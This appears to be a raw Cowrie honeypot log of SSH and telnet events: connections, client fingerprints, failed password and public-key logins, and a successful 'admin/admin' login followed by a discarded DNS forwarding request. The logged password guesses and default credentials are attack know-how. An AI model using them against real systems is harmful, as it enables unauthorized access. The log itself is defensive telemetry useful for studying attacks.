{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:55.479037Z","src_ip":"2.57.121.25","session":"a01f5fe29b2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19011995","message":"login attempt [user/19011995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:55.974884Z","src_ip":"2.57.121.25","session":"a01f5fe29b2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19011977","message":"login attempt [user/19011977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:57.084089Z","src_ip":"2.57.121.25","session":"a01f5fe29b2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"180985","message":"login attempt [user/180985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:58.193517Z","src_ip":"2.57.121.25","session":"a01f5fe29b2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18091994","message":"login attempt [user/18091994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:56:59.303838Z","src_ip":"2.57.121.25","session":"a01f5fe29b2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"180883","message":"login attempt [user/180883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:00.413380Z","src_ip":"2.57.121.25","session":"a01f5fe29b2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.47","src_port":55858,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeb68b57dc0c","protocol":"ssh","message":"New connection: 78.111.67.47:55858 (10.17.0.5:22) [session: aeb68b57dc0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:01.343565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:01.348744Z","src_ip":"78.111.67.47","session":"aeb68b57dc0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:01.445799Z","src_ip":"78.111.67.47","session":"aeb68b57dc0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:01.523838Z","src_ip":"2.57.121.25","session":"a01f5fe29b2d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:e4:1d:91:9c:ea:e3:63:62:a9:c4:c0:59:7d:df:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt+OEBcSoX7kVzExi4FbTFlTTwAwCWgV/MSJfQRl04jJTPDDZ0X6o4RppwaYZGbYndjc57GT8GpnQz8BDt8EZga+pdIQt25GaCX53GRizHjJsoefh+o3ja9vgRUJ2/VpgkBl1ngTeVoATEh8uExfRHtJRog24fUKJ1L9Jqxx08EZ7HWmBUIQjnWgiUdVfVN3E2ikEFtRLMPwW00jdwOQFDkq1xOwP6iTE/e7OTnlL7TJkXUw4BMWaNgmT4iBFjn8xGNga6ea7vZ1EEinojjCs7D3/KdG1+ikUvQfwFoBDuQWvR3wPYSMfH3mXE2LWwPyconpP9sQLmBTSclmnzogEx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:e4:1d:91:9c:ea:e3:63:62:a9:c4:c0:59:7d:df:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:01.913125Z","src_ip":"78.111.67.47","session":"aeb68b57dc0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:e4:1d:91:9c:ea:e3:63:62:a9:c4:c0:59:7d:df:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCt+OEBcSoX7kVzExi4FbTFlTTwAwCWgV/MSJfQRl04jJTPDDZ0X6o4RppwaYZGbYndjc57GT8GpnQz8BDt8EZga+pdIQt25GaCX53GRizHjJsoefh+o3ja9vgRUJ2/VpgkBl1ngTeVoATEh8uExfRHtJRog24fUKJ1L9Jqxx08EZ7HWmBUIQjnWgiUdVfVN3E2ikEFtRLMPwW00jdwOQFDkq1xOwP6iTE/e7OTnlL7TJkXUw4BMWaNgmT4iBFjn8xGNga6ea7vZ1EEinojjCs7D3/KdG1+ikUvQfwFoBDuQWvR3wPYSMfH3mXE2LWwPyconpP9sQLmBTSclmnzogEx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:01.918550Z","src_ip":"78.111.67.47","session":"aeb68b57dc0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:dd:0e:67:4c:27:9a:81:14:e3:6d:94:77:25:4d:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAxPixsbL2bfM4TTbemzr0L0SobdpaDWB+0ZeeWAUbSL5kJ+Er4r8vZAqP8Xaa0uwKhWTThB/Gk7uhjeO3V+qUdbtOSD6A8q+edQf8X3/qe1K2VifB8PqpJ+Xa6At4FkbOaA8JMca9On6V9KcCZB4ZW//dXgtPNuMoE1kCGQ/cWb4AyAAwrfPVruCmZum7Q2pWI0YRDm8KTJoVt6bw087peRtu2G/N1sELbyQPh3Dz9o8CttCw3oTheT4WxaPlvaHVT5dMByFswbP67q5XanaLn+/y4+2RV5Oqm0mndpifIDgv2WO28Z25NdX4+oQOccuvalKl9waNG1YJvat1kuUADw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:dd:0e:67:4c:27:9a:81:14:e3:6d:94:77:25:4d:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:02.022906Z","src_ip":"78.111.67.47","session":"aeb68b57dc0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:dd:0e:67:4c:27:9a:81:14:e3:6d:94:77:25:4d:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAxPixsbL2bfM4TTbemzr0L0SobdpaDWB+0ZeeWAUbSL5kJ+Er4r8vZAqP8Xaa0uwKhWTThB/Gk7uhjeO3V+qUdbtOSD6A8q+edQf8X3/qe1K2VifB8PqpJ+Xa6At4FkbOaA8JMca9On6V9KcCZB4ZW//dXgtPNuMoE1kCGQ/cWb4AyAAwrfPVruCmZum7Q2pWI0YRDm8KTJoVt6bw087peRtu2G/N1sELbyQPh3Dz9o8CttCw3oTheT4WxaPlvaHVT5dMByFswbP67q5XanaLn+/y4+2RV5Oqm0mndpifIDgv2WO28Z25NdX4+oQOccuvalKl9waNG1YJvat1kuUADw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:02.027296Z","src_ip":"78.111.67.47","session":"aeb68b57dc0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:38:b6:e8:30:73:74:3a:58:5a:15:6a:32:07:49:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyV7AIEfrRxfG6l/yWYC1H4zyOYQbz+7aJ6VZN2t29JN/ZOxiB3lgJITTZg2CHOq8lMZbu74V7Y9ozwR7uguYgkqAvKssVmEuqLWiaorBVXOKag7fvTrZy6+sLjfGgJFrD3NPFHcdX8B/8wxOJ2zchT8nPoIDxz9qP/YiUknqHqGqgwXUMcJMHcdrO1dKrgdsu5mv9weoBvQB3EBFN+w1zONOMS3rR4dEPmSbqNL9x3muKM7sEUOoPSubqV3FiJEi8wwoAuBRHnhPqCs4KpiwlJv7fTQpl6wX4654w1h1t0xl23NIibR4u3bnqYBa8tNrUzm2Co66BvSVRPrhQXYl9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:38:b6:e8:30:73:74:3a:58:5a:15:6a:32:07:49:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:02.124788Z","src_ip":"78.111.67.47","session":"aeb68b57dc0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:38:b6:e8:30:73:74:3a:58:5a:15:6a:32:07:49:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyV7AIEfrRxfG6l/yWYC1H4zyOYQbz+7aJ6VZN2t29JN/ZOxiB3lgJITTZg2CHOq8lMZbu74V7Y9ozwR7uguYgkqAvKssVmEuqLWiaorBVXOKag7fvTrZy6+sLjfGgJFrD3NPFHcdX8B/8wxOJ2zchT8nPoIDxz9qP/YiUknqHqGqgwXUMcJMHcdrO1dKrgdsu5mv9weoBvQB3EBFN+w1zONOMS3rR4dEPmSbqNL9x3muKM7sEUOoPSubqV3FiJEi8wwoAuBRHnhPqCs4KpiwlJv7fTQpl6wX4654w1h1t0xl23NIibR4u3bnqYBa8tNrUzm2Co66BvSVRPrhQXYl9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:02.131556Z","src_ip":"78.111.67.47","session":"aeb68b57dc0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:7b:57:2b:b9:9f:78:23:8f:4a:cb:98:40:cb:0f:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuuJrZW11R5rNRmMj8THngYdHbMK5BLzhCGVymtBB3l+BcknS3iRWWzpoX1viv1orJL0pz/Xectt/9f8aI+nEGMYA+/mcCl+bqR4HzsIVmiUvmIY0B0ati7/Z9MyXjYG+jPWU5ONPB5cFSoPxfB7feloEtfnUvQrKq8FKk/iqcJfqP27n6SYK9EgL/DXP+7ohkE08Pat3E2YE8yVI4ZOPAbSj/11PTpWTL14MyccyygTpPgYg8+NNemqlA43rm7n8bVMrwjn7AAe/6sbQe0NOKN5RFFwaFknnm0qEbRZgBLHmR/VulWmsE+etuIuXqt1AOwJN8aZtAS6BBV5/5hkcww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:7b:57:2b:b9:9f:78:23:8f:4a:cb:98:40:cb:0f:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:02.233616Z","src_ip":"78.111.67.47","session":"aeb68b57dc0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:7b:57:2b:b9:9f:78:23:8f:4a:cb:98:40:cb:0f:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuuJrZW11R5rNRmMj8THngYdHbMK5BLzhCGVymtBB3l+BcknS3iRWWzpoX1viv1orJL0pz/Xectt/9f8aI+nEGMYA+/mcCl+bqR4HzsIVmiUvmIY0B0ati7/Z9MyXjYG+jPWU5ONPB5cFSoPxfB7feloEtfnUvQrKq8FKk/iqcJfqP27n6SYK9EgL/DXP+7ohkE08Pat3E2YE8yVI4ZOPAbSj/11PTpWTL14MyccyygTpPgYg8+NNemqlA43rm7n8bVMrwjn7AAe/6sbQe0NOKN5RFFwaFknnm0qEbRZgBLHmR/VulWmsE+etuIuXqt1AOwJN8aZtAS6BBV5/5hkcww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:02.244718Z","src_ip":"78.111.67.47","session":"aeb68b57dc0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:1f:57:2d:c3:44:82:41:07:ec:7d:94:4b:35:80:a3","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANqBUGW83Rww8d3tW/sStWWs4VGgbpBI7Y0GJ58RIPifki2iowKVQp7soXnpTtdYxG+torB8UF52rGoNBDG1XMXpxMwoJHOKmZ69AuM43YRD+eMuy3MRLjaeb/0RPeauLfqeV/92VlwhRH3pWHYK7wgcpSgq3a+wMvW4ROjnl1qHAAAAFQD7FO8Zhps+G3Jd8Q6bvIoGPoPvuQAAAH8n0TRinImuQxCBzGTulU51neCDqbWaBLKM8uwLo4be90J7KcF12Hr+3nPg5MDiJnZ0KJvNouDMWZHF90yG1wdBRpJJFB+3v/v3CVK03FRkgi5qdeuB/BG5Txt+qWVFw/HC3nXNXHtryDK6ua0Q05Fs0h5BmbPmdSbUkTQJbg/2AAAAgCOLMWyul+LcIfG8EmMmr9w6PgRhK/U7jrt4AlxL9WVpeOvLyAXN1gp6GF/hDJssH866Ovg2+e5utxv72+4+hwp1bgRtfwmtBQ96GDR7a7I9ISWJNhAbsAynGydUjbGCdk8azKnjXM4nfKYwRejHh5tjL0IBt4A+8+LmuK/ztP4M","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 36:1f:57:2d:c3:44:82:41:07:ec:7d:94:4b:35:80:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:02.348037Z","src_ip":"78.111.67.47","session":"aeb68b57dc0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:1f:57:2d:c3:44:82:41:07:ec:7d:94:4b:35:80:a3","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANqBUGW83Rww8d3tW/sStWWs4VGgbpBI7Y0GJ58RIPifki2iowKVQp7soXnpTtdYxG+torB8UF52rGoNBDG1XMXpxMwoJHOKmZ69AuM43YRD+eMuy3MRLjaeb/0RPeauLfqeV/92VlwhRH3pWHYK7wgcpSgq3a+wMvW4ROjnl1qHAAAAFQD7FO8Zhps+G3Jd8Q6bvIoGPoPvuQAAAH8n0TRinImuQxCBzGTulU51neCDqbWaBLKM8uwLo4be90J7KcF12Hr+3nPg5MDiJnZ0KJvNouDMWZHF90yG1wdBRpJJFB+3v/v3CVK03FRkgi5qdeuB/BG5Txt+qWVFw/HC3nXNXHtryDK6ua0Q05Fs0h5BmbPmdSbUkTQJbg/2AAAAgCOLMWyul+LcIfG8EmMmr9w6PgRhK/U7jrt4AlxL9WVpeOvLyAXN1gp6GF/hDJssH866Ovg2+e5utxv72+4+hwp1bgRtfwmtBQ96GDR7a7I9ISWJNhAbsAynGydUjbGCdk8azKnjXM4nfKYwRejHh5tjL0IBt4A+8+LmuK/ztP4M","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:02.359478Z","src_ip":"78.111.67.47","session":"aeb68b57dc0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:02.467044Z","src_ip":"78.111.67.47","session":"aeb68b57dc0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":106.57015204429626,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:05.953249Z","src_ip":"152.42.224.71","session":"33bf8e5bd88a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":65358,"dst_ip":"10.17.0.5","dst_port":22,"session":"d646f3fbf7d7","protocol":"ssh","message":"New connection: 87.251.64.176:65358 (10.17.0.5:22) [session: d646f3fbf7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:22.161023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:22.165919Z","src_ip":"87.251.64.176","session":"d646f3fbf7d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:22.262230Z","src_ip":"87.251.64.176","session":"d646f3fbf7d7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:22.550757Z","src_ip":"87.251.64.176","session":"d646f3fbf7d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:22.650735Z","session":"d646f3fbf7d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:22.748775Z","src_ip":"87.251.64.176","session":"d646f3fbf7d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:22.990159Z","src_ip":"87.251.64.176","session":"d646f3fbf7d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.01292872428894,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:38.510925Z","src_ip":"152.42.224.71","session":"552d1e14a1ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":19392,"dst_ip":"159.203.135.109","dst_port":22,"session":"c25da70c02db","protocol":"ssh","message":"New connection: 213.209.159.158:19392 (159.203.135.109:22) [session: c25da70c02db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:56.334096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:58.453077Z","src_ip":"213.209.159.158","session":"c25da70c02db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:57:58.456848Z","src_ip":"213.209.159.158","session":"c25da70c02db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":45916,"dst_ip":"10.17.0.5","dst_port":22,"session":"94cc733beaa1","protocol":"ssh","message":"New connection: 103.27.238.116:45916 (10.17.0.5:22) [session: 94cc733beaa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:04.202425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:04.215547Z","src_ip":"103.27.238.116","session":"94cc733beaa1","protocol":"ssh"}
